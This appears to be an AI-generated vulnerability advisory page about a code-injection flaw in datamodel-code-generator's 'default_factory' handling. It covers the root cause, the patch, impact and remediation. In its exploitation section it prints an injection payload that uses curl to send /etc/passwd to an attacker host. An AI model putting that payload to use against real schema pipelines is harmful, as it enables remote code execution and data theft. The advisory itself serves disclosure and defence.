CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54653

CVE-2026-54653: Remote Code Execution via Code Injection in datamodel-code-generator

Alon Barad
Alon Barad
Software Engineer

Jul 29, 2026·7 min read·25 visits

Executive Summary (TL;DR)

Unsanitized rendering of the 'default_factory' schema parameter allows unauthenticated remote attackers to inject arbitrary Python expressions, resulting in automatic code execution when downstream applications import the generated code.

A critical code injection vulnerability exists in datamodel-code-generator from version 0.17.0 up to 0.60.1. The vulnerability allows remote attackers who supply a malicious JSON schema to execute arbitrary Python code. This occurs when the schema specifies a payload inside the 'default_factory' field extra, which is rendered directly into generated code without sanitization. When downstream processes load or import the output code, the evaluation of the class definition immediately triggers the execution of the injected code.

Vulnerability Overview

The datamodel-code-generator library is a widely utilized Python package developed by koxudaxi. It automates the generation of Pydantic models, Python standard dataclasses, and TypedDicts from input schemas such as OpenAPI and JSON Schema. This code generation mechanism is frequently integrated into automated pipelines, API client scaffolding tools, and dynamic validation interfaces where schema files are processed dynamically.\n\nCVE-2026-54653 (and GHSA-386q-5hp3-95m9) represents a critical code injection vulnerability within this processing chain. The vulnerability exists from version 0.17.0 up to 0.60.1. An attacker who is able to supply or modify a schema file used for code generation can insert malicious Python instructions that are executed automatically.\n\nThe vulnerability originates from the processing of custom field attributes, specifically the default_factory parameter. Under standard usage, default_factory is intended to specify a callable (such as list or dict) to produce dynamic default values for fields. However, the parser directly passes untrusted string inputs into the generated template output, bypassing necessary sanitization and escaping controls.\n\nWhen an application subsequently imports or runs the compiled Python output files, the Python interpreter parses the class attributes at module load-time. This forces immediate evaluation of the expressions specified in the default_factory parameters. Consequently, arbitrary code execution is triggered immediately without necessitating any instance initialization of the generated model classes.

Root Cause Analysis

The root cause of this vulnerability lies in the improper neutralization of special elements within the template rendering engine (CWE-1336), leading to code injection (CWE-94). During schema parsing, the component src/datamodel_code_generator/parser/jsonschema.py identifies attributes that correspond to Pydantic or standard Python fields. The parser uses a mapping function named get_field_extras to capture metadata fields such as default_factory from the schema object.\n\nIn the vulnerable codebase versions, any user-supplied string designated as a default_factory is treated as a safe literal. It is parsed and written into the target templates without being formatted via repr() or undergoing syntactic verification. The library formats these fields into standard declaration strings like Field(default_factory=val) using simple string formatting or Jinja2 template bindings.\n\nPython's syntax rules dictate that when a class is imported, the class-level declarations are executed sequentially to construct the class namespace. Because the generator does not wrap the untrusted default_factory string in quotes or restrict it to safe pre-defined callable patterns, the target script is written with raw code sequences as arguments.\n\nTo trigger this condition, an attacker simply needs to supply a JSON schema containing the default_factory attribute on any property definition. The value must contain valid Python code. The code generator parses the JSON schema structure without validation and writes the raw payload into the output file, transitioning a static JSON-based vulnerability into a dynamic Python execution context.

Code Analysis

The vulnerable processing pipeline compiles schema fields without verifying if the inputs map to valid, safe callables. The extraction of fields occurs within jsonschema.py. The function get_field_extras collects additional JSON schema attributes and populates a dictionary returned to the code generator's model writer.\n\npython\n# Vulnerable implementation in get_field_extras\ndef get_field_extras(self, obj: JsonSchemaObject) -> dict[str, Any]:\n extras = {}\n # ... (extracts other metadata keys)\n if self.default_field_extras:\n extras.update(self.default_field_extras)\n # Vulnerable: default_factory is directly passed from the raw JSON object 'obj'\n # without checking if it contains arbitrary Python expressions.\n return extras\n\n\nThe lack of validation means that an input schema defining \"default_factory\": \"__import__('os').system('id')\" will pass this exact string directly to the template file writer. The resulting output class contains the dangerous expression directly inside the field definition, which executes upon import.\n\nThe fix introduced in version 0.60.2 introduces the helper function _validate_default_factory to restrict the input explicitly. The modification enforces a strict whitelist containing only standard Python callables that are safe for instantiation defaults.\n\npython\n# Patched code in src/datamodel_code_generator/parser/jsonschema.py\nALLOWED_DEFAULT_FACTORIES: frozenset[str] = frozenset({\"dict\", \"list\", \"set\"})\n\ndef _validate_default_factory(default_factory: Any) -> str:\n # Enforce strict type check and exact matching against the whitelist\n if isinstance(default_factory, str) and default_factory in ALLOWED_DEFAULT_FACTORIES:\n return default_factory\n allowed_values = \", \".join(sorted(ALLOWED_DEFAULT_FACTORIES))\n msg = f\"default_factory must be one of: {allowed_values}\"\n raise Error(msg)\n\n\nBy integrating this check within get_field_extras using extras[\"default_factory\"] = _validate_default_factory(default_factory), any input that does not strictly match \"dict\", \"list\", or \"set\" causes an instant termination of the compilation process. This prevents the generation of a malicious output file entirely.

Exploitation Methodology

Exploitation of CVE-2026-54653 requires that the victim or an automated background system compile a malicious schema, and subsequently load the compiled module. The primary prerequisite is that the input schema must be sourced from an unverified or user-controlled location.\n\nmermaid\ngraph LR\n A[\"Attacker Schema\"] -- \"default_factory payload\" --> B[\"datamodel-code-generator\"]\n B -- \"Direct Interpolation\" --> C[\"generated_model.py\"]\n C -- \"Import Statement\" --> D[\"Python Interpreter\"]\n D -- \"Definition Evaluation\" --> E[\"Arbitrary Command Execution\"]\n\n\nAn attacker constructs a payload targeting the default_factory parameter within a property block. The injected Python code must execute an action and then safely evaluate to a valid value or a fallback callable (such as returning list or dict) to ensure that the python parser doesn't crash during evaluation. For example, using __import__('os').system('curl -F d=@/etc/passwd http://attacker.com') or list achieves remote execution while maintaining valid syntax.\n\nWhen the code generator is executed against the malicious file, it outputs a Python file that looks structurally identical to a standard model file, but with the active payload embedded. Since there is no syntax validation during output generation, the file writes successfully.\n\nThe execution phase triggers automatically when a downstream worker imports the module. In standard microservice architectures, models are generated dynamically and imported into a router or validator script. Because class attributes evaluate immediately upon import, the code executes under the privilege level of the importing process.

Impact Assessment

The impact of successful exploitation is critical, leading to full host compromise under the security context of the executing user. Since Python code generation is often executed on build servers, CI/CD runners, or web servers with elevated privileges, the execution scope can span broad environments.\n\nThe CVSS v3.1 score is evaluated at 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The network vector is applicable since the malicious schema files can be delivered via HTTP requests, API uploads, or webhook integrations. The requirement for user interaction is limited to the pipeline trigger or the backend dynamic import command executing the output file.\n\nOnce code execution is obtained, the attacker can access sensitive environment variables, read system configuration secrets, communicate with metadata services on cloud providers (such as IMDSv2 to retrieve IAM credentials), and pivot into adjacent Kubernetes namespaces or private networks.\n\nThis vulnerability represents a significant supply chain threat for development operations. The silent nature of the code execution during standard python imports makes it difficult to detect with traditional runtime behavior monitoring unless strict network-egress filters or system call anomaly detectors are in place.

Remediation & Mitigation Guidance

The definitive remediation for CVE-2026-54653 is upgrading the datamodel-code-generator library to version 0.60.2 or greater. The update introduces the verification logic that stops compilation if an unauthorized default_factory pattern is detected.\n\nFor deployments where immediate library upgrade is not possible, organizations should implement strict validation wrappers around the schema compilation process. A pre-parser script can validate the JSON input by evaluating all instances of the key default_factory and raising an error if the value is not inside the strict allowed set [\"list\", \"dict\", \"set\"].\n\njson\n// Defensive regex-based input verification step\n\"default_factory\"\\s*:\\s*\"(?!(dict|list|set)\")([^\"]+)\"\n\n\nFurthermore, pipelines performing automated source code compilation from external sources must run within isolated, unprivileged execution runtimes. Restricting container capabilities, executing code generation as a non-root user, and using read-only root filesystems except for designated scratch directories will mitigate the impact of host compromise.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

datamodel-code-generator

Affected Versions Detail

Product
Affected Versions
Fixed Version
datamodel-code-generator
koxudaxi
>= 0.17.0, < 0.60.20.60.2
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork (AV:N)
CVSS Score8.8
Exploit StatusProof-of-Concept
ImpactArbitrary Code Execution (RCE)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs code segments using externally-influenced input without neutralizing special elements, allowing modifications of execution flow when evaluated by downstream processes.

Known Exploits & Detection

GitHub Security AdvisoryVulnerability description containing background and remediation guidance.

Vulnerability Timeline

Version 0.60.0 released
2026-06-04
Version 0.60.1 released
2026-06-07
Remediation patch committed and version 0.60.2 released
2026-06-08
CVE-2026-54653 publicly published
2026-07-28

References & Sources

  • [1]GitHub Security Advisory (GHSA-386q-5hp3-95m9)
  • [2]Vulnerability Patch Commit
  • [3]Official v0.60.2 Release Details
  • [4]CVE-2026-54653 Official Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-62290
7.3

CVE-2026-62290: ClusterIssuer DNS01 Solver Policy Bypass and Credential Exfiltration in cert-manager

CVE-2026-62290 is an incorrect authorization vulnerability (CWE-863) in cert-manager that allows low-privileged Kubernetes namespace tenants to bypass ClusterIssuer DNS01 solver policies and exfiltrate cluster-scoped DNS credentials. By directly creating standalone ACME Challenge custom resources rather than going through the standard Certificate and Order workflow, an attacker can specify arbitrary solver provider configurations while referencing a privileged ClusterIssuer. The cert-manager ACME challenge controller reconciles these directly instantiated Challenge resources without verifying their parentage or validating the user-supplied solver parameters against the referenced ClusterIssuer's selector policies.

Amit Schendel
Amit Schendel
2 views•9 min read
•about 2 hours ago•CVE-2026-118662
6.9

CVE-2026-118662: Access Control Bypass via Uncanonicalized Query Parameters in Vite Development Server

CVE-2026-118662 (also tracked as GHSA-8g5g-mxqh-grgj) is an improper access control and path canonicalization vulnerability in the Vite frontend build and development tool. In version 6.4.4, the Vite development server fails to strip transform and loader query parameters before evaluating file paths against the `server.fs.deny` configuration directive. When the development server is exposed to a network and sensitive files located within `server.fs.allow` match patterns in `server.fs.deny`, an unauthenticated remote attacker can bypass file access restrictions by appending specific query strings such as `?raw` or `?inline` to HTTP requests. This allows arbitrary retrieval of restricted files, including environment configuration files and private cryptographic keys.

Alon Barad
Alon Barad
4 views•11 min read
•about 3 hours ago•CVE-2026-115909
7.5

CVE-2026-115909: Unbounded Symlink-Target Allocation Causes Process Abort in Rust zip Crate

A vulnerability in the Rust `zip` crate (versions 1.3.0 prior to 9.0.0) allows an attacker to trigger an uncatchable process abort via a crafted ZIP archive. When extracting symbolic link entries on Unix or Windows targets, `ZipArchive::extract` passes the untrusted, attacker-controlled `uncompressed_size` header value directly to `Vec::with_capacity` before reading or validating entry payload data. By supplying a 112-byte archive with a ZIP64 extended information field declaring an excessive uncompressed size, an attacker forces the memory allocator to fail and invoke `handle_alloc_error()`, immediately terminating the entire process with `SIGABRT`.

Alon Barad
Alon Barad
3 views•11 min read
•about 4 hours ago•CVE-2026-115906
6.5

CVE-2026-115906: AES Entry HMAC Authentication Bypass in Rust zip Crate

CVE-2026-115906 is a cryptographic authentication bypass vulnerability in the Rust zip library (zip-rs/zip2) affecting versions from 0.6.0 prior to 9.0.0. In the WinZip AE-x AES decryption reader implementation within src/aes.rs, the HMAC-SHA1-80 authentication tag is only validated when the internal byte counter (data_remaining) decrements to exactly zero. Because this counter is initialized from the unauthenticated compressed_size header field, an attacker can craft a ZIP archive where the entry stream hits premature physical end-of-file (EOF) before data_remaining reaches zero, causing the reader to return Ok(0) and skip HMAC verification entirely.

Alon Barad
Alon Barad
6 views•13 min read
•about 5 hours ago•CVE-2026-115908
7.4

CVE-2026-115908: Arbitrary File Write via Lexical Symlink Validation Bypass in Rust zip Crate

CVE-2026-115908 (GHSA-hjqx-j4rw-g7xv) is a high-severity path traversal and link-following vulnerability in the Rust zip library (zip-rs/zip2) affecting versions >= 7.2.0 and < 9.0.0. Because ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir validate symbolic link targets solely via lexical prefix comparisons rather than resolving intermediate filesystem links, an attacker who knows or can guess the absolute extraction path can construct multi-hop symlink chains that escape the destination directory, enabling arbitrary file creation and overwrite with the privileges of the extracting process.

Amit Schendel
Amit Schendel
2 views•10 min read
•about 6 hours ago•CVE-2026-115907
7.5

CVE-2026-115907: Denial of Service via Excessive Memory Pre-allocation in Rust zip Crate Legacy Decoders

CVE-2026-115907 is an uncontrolled resource consumption vulnerability in the Rust zip crate (versions 5.1.0 through 8.6.0, and 9.0.0 pre-releases) when compiled with the optional legacy-zip feature flag. The vulnerability resides in the legacy decompression decoders—Shrink, Reduce, and Implode—which directly pass an archive-declared 64-bit uncompressed size from a ZIP64 extended information extra field to Vec::reserve() before validating the compressed data stream. By supplying a malformed ZIP archive with a declared uncompressed size exceeding isize::MAX (such as u64::MAX), an unauthenticated attacker can trigger an unhandled capacity overflow panic in the Rust standard library allocator, terminating the calling thread or aborting the entire process.

Alon Barad
Alon Barad
6 views•12 min read